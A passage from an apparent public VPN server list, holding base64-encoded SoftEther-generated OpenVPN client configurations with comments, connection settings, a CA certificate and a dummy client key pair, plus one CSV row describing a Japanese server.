BTSEExIFNIQTI1NiBTSEEzODQgU0hBNTEyIE1ENSBNRDQgUk1EMTYwDQojDQojIE5vdGU6IFRvIHNvbHZlIE9wZW5WUE4gY29tcGF0aWJpbGl0eSBidWcNCiMgUmVjZW50IHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcCByZXF1aXJlIHNwZWNpZnlpbmcgdGhlICJkYXRhLWNpcGhlcnMiDQojIGZpZWxkIGluc3RlYWQgb2YgdGhlICJjaXBoZXIiIGZpZWxkLiBIb3dldmVyLCBvbGRlciB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHANCiMgZG8gbm90IHJlY29nbml6ZSAiZGF0YS1jaXBoZXJzLiIgUmF0aGVyIHRoYW4gaWdub3JpbmcgaXQsIHRoZXkgcHJvZHVjZQ0KIyBhIHN0YXJ0dXAgZXJyb3Igc3RhdGluZyB0aGF0ICJubyBzdWNoIG9wdGlvbiBleGlzdHMuIiBUaGlzIGlzIGEgYnVnDQojIGluIE9wZW5WUE4uIElmIHlvdSBlbmNvdW50ZXIgdGhpcyBpc3N1ZSwgcGxlYXNlIGNvbW1lbnQgb3V0DQojIHRoZSAiZGF0YS1jaXBoZXJzIiBsaW5lLg0KDQpjaXBoZXIgQUVTLTEyOC1DQkMNCmRhdGEtY2lwaGVycyBBRVMtMTI4LUNCQw0KYXV0aCBTSEExDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPdGhlciBwYXJhbWV0ZXJzIG5lY2Vzc2FyeSB0byBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgSXQgaXMgbm90IHJlY29tbWVuZGVkIHRvIG1vZGlmeSBpdCB1bmxlc3MgeW91IGhhdmUgYSBwYXJ0aWN1bGFyIG5lZWQuDQoNCnJlc29sdi1yZXRyeSBpbmZpbml0ZQ0Kbm9iaW5kDQpwZXJzaXN0LWtleQ0KcGVyc2lzdC10dW4NCmNsaWVudA0KdmVyYiAzDQojYXV0aC11c2VyLXBhc3MNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjZXJ0aWZpY2F0ZSBmaWxlIG9mIHRoZSBkZXN0aW5hdGlvbiBWUE4gU2VydmVyLg0KIyANCiMgVGhlIENBIGNlcnRpZmljYXRlIGZpbGUgaXMgZW1iZWRkZWQgaW4gdGhlIGlubGluZSBmb3JtYXQuDQojIFlvdSBjYW4gcmVwbGFjZSB0aGlzIENBIGNvbnRlbnRzIGlmIG5lY2Vzc2FyeS4NCiMgUGxlYXNlIG5vdGUgdGhhdCBpZiB0aGUgc2VydmVyIGNlcnRpZmljYXRlIGlzIG5vdCBhIHNlbGYtc2lnbmVkLCB5b3UgaGF2ZSB0bw0KIyBzcGVjaWZ5IHRoZSBzaWduZXIncyByb290IGNlcnRpZmljYXRlIChDQSkgaGVyZS4NCg0KPGNhPg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlGYXpDQ0ExT2dBd0lCQWdJUkFJSVF6N0RTUU9OWlJHUGd1Mk9DaXdBd0RRWUpLb1pJaHZjTkFRRUxCUUF3DQpUekVMTUFrR0ExVUVCaE1DVlZNeEtUQW5CZ05WQkFvVElFbHVkR1Z5Ym1WMElGTmxZM1Z5YVhSNUlGSmxjMlZoDQpjbU5vSUVkeWIzVndNUlV3RXdZRFZRUURFd3hKVTFKSElGSnZiM1FnV0RFd0hoY05NVFV3TmpBME1URXdORE00DQpXaGNOTXpVd05qQTBNVEV3TkRNNFdqQlBNUXN3Q1FZRFZRUUdFd0pWVXpFcE1DY0dBMVVFQ2hNZ1NXNTBaWEp1DQpaWFFnVTJWamRYSnBkSGtnVW1WelpXRnlZMmdnUjNKdmRYQXhGVEFUQmdOVkJBTVRERWxUVWtjZ1VtOXZkQ0JZDQpNVENDQWlJd0RRWUpLb1pJaHZjTkFRRUJCUUFEZ2dJUEFEQ0NBZ29DZ2dJQkFLM29KSFAwRkRmem01NHJWeWdjDQpoNzdjdDk4NGtJeHVQT1pYb0hqM2RjS2kvdlZxYnZZQVR5amIzbWlHYkVTVHRyRmovUlFTYTc4ZjB1b3hteUYrDQowVE04dWtqMTNYbmZzN2ovRXZFaG1rdkJpb1p4YVVwbVpteVBmanh3djYwcElnYno1TURtZ0s3aVM0KzNtWDZVDQpBNS9UUjVkOG1VZ2pVK2c0cms4S2I0TXUwVWxYaklCMHR0b3YwRGlOZXdOd0lSdDE4akE4K28rdTNkcGpxK3NXDQpUOEtPRVV0K3p3dm8vN1YzTHZTeWUwcmdUQklsREhDTkF5bWc0Vk1rN0JQWjdobS9FTE5LakQrSm8yRlIzcXlIDQpCNVQwWTNIc0x1SnZXNWlCNFlsY05IbHNkdTg3a0dKNTV0dWttaThteGRBUTRRN2UyUkNPRnZ1Mzk2ajN4K1VDDQpCNWlQTmdpVjUrSTNsZzAyZFo3N0RuS3hIWnU4QS9sSkJkaUIzUVcwS3RaQjZhd0JkcFVLRDlqZjFiMFNIelV2DQpLQmRzMHBqQnFBbGtkMjVITjdyT3JGbGVhSjEvY3RhSnhRWkJLVDVaUHQwbTlTVEpFYWRhbzB4QUgwYWhtYlduDQpPbEZ1aGp1ZWZYS25FZ1Y0V2UwK1VYZ1ZDd09QamRBdkJiSStlMG9jUzNNRkV2ekc2dUJRRTN4RGszU3p5blRuDQpqaDhCQ05BdzFGdHhOclFIdXNFd01GeEl0NEk3bUtaOVlJcWlveW1DekxxOWd3UWJvb01EUWFIV0JmRWJ3cmJ3DQpxSHlHTzBhb1NDcUkzSGFhZHI4ZmFxVTlHWS9yT1BOazNzZ3JEUW9vLy9mYjRoVkMxQ0xRSjEzaGVmNFk1M0NJDQpyVTdtMllzNnh0MG5VVzcvdkdUMU0wTlBBZ01CQUFHalFqQkFNQTRHQTFVZER3RUIvd1FFQXdJQkJqQVBCZ05WDQpIUk1CQWY4RUJUQURBUUgvTUIwR0ExVWREZ1FXQkJSNXRGbm1lN2JsNUFGemdBaUl5QnBZOXVtYmJqQU5CZ2txDQpoa2lHOXcwQkFRc0ZBQU9DQWdFQVZSOVlxYnl5cUZEUURMSFlHbWtnSnlrSXJHRjFYSXB1K0lMbGFTL1Y5bFpMDQp1Ymh6RUZuVElaZCs1MHh4KzdMU1lLMDVxQXZxRnlGV2hmRlFEbG5yenVCWjZickpGZStHblkrRWdQYms2WkdRDQozQmViWWh0RjhHYVYwbnh2d3VvNzd4L1B5OWF1Si9HcHNNaXUvWDErbXZvaUJPdi8yWC9xa1NzaXNSY09qL0tLDQpORnRZMlB3QnlWUzV1Q2JNaW9nemlVd3RoRHlDMys2V1Z3VzZMTHYzeExmSFRqdUN2akhJSW5Oemt0SENnS1E1DQpPUkF6STRKTVBKK0dzbFdZSGI0cGhvd2ltNTdpYXp0WE9vSndUZHdKeDRuTENnZE5iT2hkanNudnpxdkh1N1VyDQpUa1hXU3RBbXpPVnl5Z2hxcFpYakZhSDNwTzNKTEYrbCsvK3NLQUl1dnRkN3UrTnhlNUFXMHdkZVJsTjhOd2RDDQpqTlBFbHB6Vm1iVXE0SlVhZ0VpdVREa0h6c3hIcEZLVks3cTQrNjNTTTFOOTVSMU5iZFdoc2NkQ2IrWkFKelZjDQpveWkzQjQzbmpUT1E1eU9mKzFDY2VXeEcxYlFWczVadWZwc01sanE0VWkwLzFsdmgrd2pDaFA0a3FLT0oycXhxDQo0Umdxc2FoRFlWdlRIOXc3alhieUxlaU5kZDhYTTJ3OVUvdDd5MEZmLzl5aTBHRTQ0WmE0ckYyTE45ZDExVFBBDQptUkd1blVIQmNuV0V2Z0pCUWw5bkpFaVUwWnNudmdjL3ViaFBnWFJSNFhxMzdaMGo0cjdnMVNnRUV6d3hBNTdkDQplbXlQeGdjWXhuL2VSNDQvS0o0RUJzK2xWRFIzdmV5Sm0ra1hROTliMjEvK2poNVhvczFBblg1aUl0cmVHQ2M9DQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2E+DQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2xpZW50IGNlcnRpZmljYXRlIGZpbGUgKGR1bW15KS4NCiMgDQojIEluIHNvbWUgaW1wbGVtZW50YXRpb25zIG9mIE9wZW5WUE4gQ2xpZW50IHNvZnR3YXJlDQojIChmb3IgZXhhbXBsZTogT3BlblZQTiBDbGllbnQgZm9yIGlPUyksDQojIGEgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUgYW5kIHByaXZhdGUga2V5IG11c3QgYmUgaW5jbHVkZWQgb24gdGhlDQojIGNvbmZpZ3VyYXRpb24gZmlsZSBkdWUgdG8gdGhlIGxpbWl0YXRpb24gb2YgdGhlIGNsaWVudC4NCiMgU28gdGhpcyBzYW1wbGUgY29uZmlndXJhdGlvbiBmaWxlIGhhcyBhIGR1bW15IHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlDQojIGFuZCBwcml2YXRlIGtleSBhcyBmb2xsb3dzLg0KDQo8Y2VydD4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJQ3hqQ0NBYTRDQVFBd0RRWUpLb1pJaHZjTkFRRUZCUUF3S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOcw0KYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUU1CNFhEVEV6TURJeE1UQXpORGswT1ZvWERUTTNNREV4T1RBeg0KTVRRd04xb3dLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUQ0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQQ0KNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5UndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRA0KNFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuY3pXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUQ0KQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaTU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2Nw0KWENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aA0KcC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQW1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRA0KeXdJREFRQUJNQTBHQ1NxR1NJYjNEUUVCQlFVQUE0SUJBUUNoTzVoZ2N3LzRvV2ZvRUZMdTlrQmExQi8va3hIOA0KaFFrQ2hWTm44QlJDN1kwVVJRaXRQbDNES0VlZDlVUkJEZGcyS09Bejc3YmI2RU5QaWxpRCthMzhVSkhJUk1xZQ0KVUJIaGxsT0hJenZEaEhGYmFvdkFMQlFjZWVCemRrUXhzS1FFU0ttUW1SODMyOTUwVUNvdm95UkI2MVV5QVY3aA0KK21aaFlQR1JLWEtTSkk2czBFZ2cvQ3JpK0N3azRiakpmcmI1aFZzZTExeWg0RDlNSGh3U2ZDT0grMHo0aFBVVA0KRmt1N2RHYXZVUk81U1Z4TW4vc0w2RW41RCtvU2VYa2FkSHBEcytBaXJ5bTJZSGgxNWgwK2pQU09vUjZ5aVZwLw0KNnpaZVprck40M2t1UzczS3BLREZqZkZQaDh0NHIxZ09JanR0a05jUXFCY2N1c25wbFE3SEpwc2sNCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jZXJ0Pg0KDQo8a2V5Pg0KLS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQ0KTUlJRXBBSUJBQUtDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5Ug0Kd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JENFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuYw0Kelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaQ0KNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3WENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTg0KLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZocC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQQ0KbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEeXdJREFRQUJBb0lCQUVSVjdYNUF2eEE4dVJpSw0KazhTSXBzRDBkWDFwSk9NSXdha1VWeXZjNEVmTjBEaEtSTmI0cllvU2lFR1RMeXpMcHlCYy9BMjhEbGttNWVPWQ0KZmp6WGZZa0d0WWkvRnR4a2czTzl2Y3JNUTQrNmkrdUdIYUlMMnJMK3M0TXJmTzh2MXh2NitXa3kzM0VFR0NvdQ0KUWl3VkdSRlFYblJvUTYyTkJDRmJVTkxobVh3ZGoxYWtaekxVNHA1UjR6QTNRaGR4d0VJYXRWTHQwKzdvd0xRMw0KbFA4c2ZYaHBwUE9YalRxTUQ0UWtZd3pQQWE4L3pGN2FjbjRrcnlyVVA3UTZQQWZkMHpFVnFOeTlaQ1o5ZmZobw0KelhlZEZqNDg2SUZvYzVnblRwMk42anNuVmo0TENHSWhsVkhsWUdvektLRnFKY1FWR3NIQ3FxMW96MnpqVzZMUw0Kb1JZSUhnRUNnWUVBOHpacmtDd05ZU1hKdU9ESjNtL2hPTFZ4Y3hnSnV3WG9pRXJXZDBFNDJ2UGFuampWTWhudA0KS1k1bDhxR01KNkZoSzlMWXgycUNyZi9FMFh0VUFaMndWcTNPUlR5R25zTVdyZTl0TFlzNTVYK1pOMTBUYzc1eg0KNGhhY2JVMGhxS04xSGlEbXNNUlkzLzJOYVpIb3k3TUtud0pKQmFHNDhsOUNDVGxWd01Ib2NJRUNnWUVBOGpieQ0KZEdqeFRIKzZYSFdOaXpiNVNSYlp4QW55RWVKZVJ3VE1oMGdHendHUHBIL3NaWUd6eXUwU3lTWFdDblpoM1JncQ0KNXVMbE54dHJYcmxqWmx5aTJuUWRRZ3NxMllyV1VzMCt6Z1UrMjJ1UXNacFNBZnRtaFZydHZldDZNalZqYkJ5WQ0KREFEY2lFVlVkSllJWGsrcW5GVUp5ZXJvTElrVGo3V1lLWjZSamtzQ2dZQm9DRkl3UkRlZzQyb0s4OVJGbW5Pcg0KTHltTkFxNCsyb01oc1dsVmI0ZWpXSVdlQWs5bmMrR1hVZnJYc3pSaFMwMW1VblU1cjV5Z1V2UmNhclYvVDNVNw0KVG5NWitJN1k0RGdXUklEZDUxem5oeElCdFlWNWovQy90ODVIanFPa0grOGI2UlRrYmNoYVgzbWF1N2ZwVWZkcw0KRnEwbmhJcTQyZmhFTzhzcmZZWXdnUUtCZ1FDeWhpMU4vOHRhUndwayszL0lERXpRd2piZmR6VWtXV1NEazlYcw0KSC9wa3VSSFdmVE1QM2ZsV3FFWWdXL0xXNDBwZVcySERxNWltZFY4K0FnWnhlL1hNYmFqaTlMZ3dmMVJZMDA1bg0KS3hhWlF6N3lxSHVwV2xMR0Y2OERQSHhrWlZWU2FnRG5WL3N6dFdYNlNGc0NxRlZueElYaWZYR0M0Y1c1Tm05Zw0KdmE4cTRRS0JnUUNFaExWZVVmZHdLdmtaOTRnL0dGejczMVoyaHJkVmhnTVphVS91NnQwVjk1K1llelBOQ1FaQg0Kd21FOU1tbGJxMWVtRGVST2l2akNmb0doUjNrWlhXMXBUS2xMaDZaTVVRVU9wcHRkWHZhOFh4Zm9xUXdhM2VuQQ0KTTdtdUJiRjBYTjdWTzgwaUpQditQbUlaZEVJQWtwd0tmaTIwMVlCK0JhZkNJdUd4SUY1MFZnPT0NCi0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0tDQoNCjwva2V5Pg0KDQo= +vpn475780323,106.179.176.147,654825,3,561914606,Japan,JP,15,1000,91216,17818232844469,2weeks,tak's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxMDYuMTc5LjE3Ni4xNDcgMTc2Mw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIEhUVFAvSFRUUFMgcHJveHkgc2V0dGluZy4NCiMgDQojIE9ubHkgaWYgeW91IGhhdmUgdG8gdXNlIHRoZSBJbnRlcm5ldCB2aWEgYSBwcm94eSwgdW5jb21tZW50IHRoZSBiZWxvdw0KIyB0d28gbGluZXMgYW5kIHNwZWNpZnkgdGhlIHByb3h5IGFkZHJlc3MgYW5kIHRoZSBwb3J0IG51bWJlci4NCiMgSW4gdGhlIGNhc2Ugb2YgdXNpbmcgcHJveHktYXV0aGVudGljYXRpb24sIHJlZmVyIHRoZSBPcGVuVlBOIG1hbnVhbC4NCg0KO2h0dHAtcHJveHktcmV0cnkNCjtodHRwLXByb3h5IFtwcm94eSBzZXJ2ZXJdIFtwcm94eSBwb3J0XQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGVuY3J5cHRpb24gYW5kIGF1dGhlbnRpY2F0aW9uIGFsZ29yaXRobS4NCiMgDQojIERlZmF1bHQgc2V0dGluZyBpcyBnb29kLiBNb2RpZnkgaXQgYXMgeW91IHByZWZlci4NCiMgV2hlbiB5b3Ugc3BlY2lmeSBhbiB1bnN1cHBvcnRlZCBhbGdvcml0aG0sIHRoZSBlcnJvciB3aWxsIG9jY3VyLg0KIyANCiMgVGhlIHN1cHBvcnRlZCBhbGdvcml0aG1zIGFyZSBhcyBmb2xsb3dzOg0KIyAgY2lwaGVyOiBbTlVMTC1DSVBIRVJdIE5VTEwgQUVTLTEyOC1DQkMgQUVTLTE5Mi1DQkMgQUVTLTI1Ni1DQkMgQkYtQ0JDDQojICAgICAgICAgIENBU1QtQ0JDIENBU1Q1LUNCQyBERVMtQ0JDIERFUy1FREUtQ0JDIERFUy1FREUzLUNCQyBERVNYLUNCQw0KIyAgICAgICAgICBSQzItNDAtQ0JDIFJDMi02NC1DQkMgUkMyLUNCQyBDQU1FTExJQS0xMjgtQ0JDIENBTUVMTElBLTE5Mi1DQkMgQ0FNRUxMSUEtMjU2LUNCQw0KIyAgZGF0YS1jaXBoZXJzOiBzYW1lIGFzIGNpcGhlcg0KIyAgYXV0aDogICBTSEEgU0hBMSBTSEEyNTYgU0hBMzg0IFNIQTUxMiBNRDUgTUQ0IFJNRDE2MA0KIw0KIyBOb3RlOiBUbyBzb2x2ZSBPcGVuVlBOIGNvbXBhdGliaWxpdHkgYnVnDQojIFJlY2VudCB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHAgcmVxdWlyZSBzcGVjaWZ5aW5nIHRoZSAiZGF0YS1jaXBoZXJzIg0KIyBmaWVsZCBpbnN0ZWFkIG9mIHRoZSAiY2lwaGVyIiBmaWVsZC4gSG93ZXZlciwgb2xkZXIgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwDQojIGRvIG5vdCByZWNvZ25pemUgImRhdGEtY2lwaGVycy4iIFJhdGhlciB0aGFuIGlnbm9yaW5nIGl0LCB0aGV5IHByb2R1Y2UNCiMgYSBzdGFydHVwIGVycm9yIHN0YXRpbmcgdGhhdCAibm8gc3VjaCBvcHRpb24gZXhpc3RzLiIgVGhpcyBpcyBhIGJ1Zw0KIyBpbiBPcGVuVlBOLiBJZiB5b3UgZW5jb3VudGVyIHRoaXMgaXNzdWUsIHBsZWFzZSBjb21tZW50IG91dA0KIyB0aGUgImRhdGEtY2lwaGVycyIgbGluZS4NCg0KY2lwaGVyIEFFUy0xMjgtQ0JDDQpkYXRhLWNpcGhlcnMgQUVTLTEyOC1DQkMNCmF1dGggU0hBMQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgT3RoZXIgcGFyYW1ldGVycyBuZWNlc3NhcnkgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlci4NCiMgDQojIEl0IGlzIG5vdCByZWNvbW1lbmRlZCB0byBtb2RpZnkgaXQgdW5sZXNzIHlvdSBoYXZlIGEgcGFydGljdWxhciBuZWVkLg0KDQpyZXNvbHYtcmV0cnkgaW5maW5pdGUNCm5vYmluZA0KcGVyc2lzdC1rZXkNCnBlcnNpc3QtdHVuDQpjbGllbnQNCnZlcmIgMw0KI2F1dGgtdXNlci1wYXNzDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2VydGlmaWNhdGUgZmlsZSBvZiB0aGUgZGVzdGluYXRpb24gVlBOIFNlcnZlci4NCiMgDQojIFRoZSBDQSBjZXJ0aWZpY2F0ZSBmaWxlIGlzIGVtYmVkZGVkIGluIHRoZSBpbmxpbmUgZm9ybWF0Lg0KIyBZb3UgY2FuIHJlcGxhY2UgdGhpcyBDQSBjb250ZW50cyBpZiBuZWNlc3NhcnkuDQojIFBsZWFzZSBub3RlIHRoYXQgaWYgdGhlIHNlcnZlciBjZXJ0aWZpY2F0ZSBpcyBub3QgYSBzZWxmLXNpZ25lZCwgeW91IGhhdmUgdG8NCiMgc3BlY2lmeSB0aGUgc2lnbmVyJ3Mgcm9vdCBjZXJ0aWZpY2F0ZSAoQ0EpIGhlcmUuDQoNCjxjYT4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJRmF6Q0NBMU9nQXdJQkFnSVJBSUlRejdEU1FPTlpSR1BndTJPQ2l3QXdEUVlKS29aSWh2Y05BUUVMQlFBdw0KVHpFTE1Ba0dBMVVFQmhNQ1ZWTXhLVEFuQmdOVkJBb1RJRWx1ZEdWeWJtVjBJRk5sWTNWeWFYUjVJRkpsYzJWaA0KY21Ob0lFZHliM1Z3TVJVd0V3WURWUVFERXd4SlUxSkhJRkp2YjNRZ1dERXdIaGNOTVRVd05qQTBNVEV3TkRNNA0KV2hjTk16VXdOakEwTVRF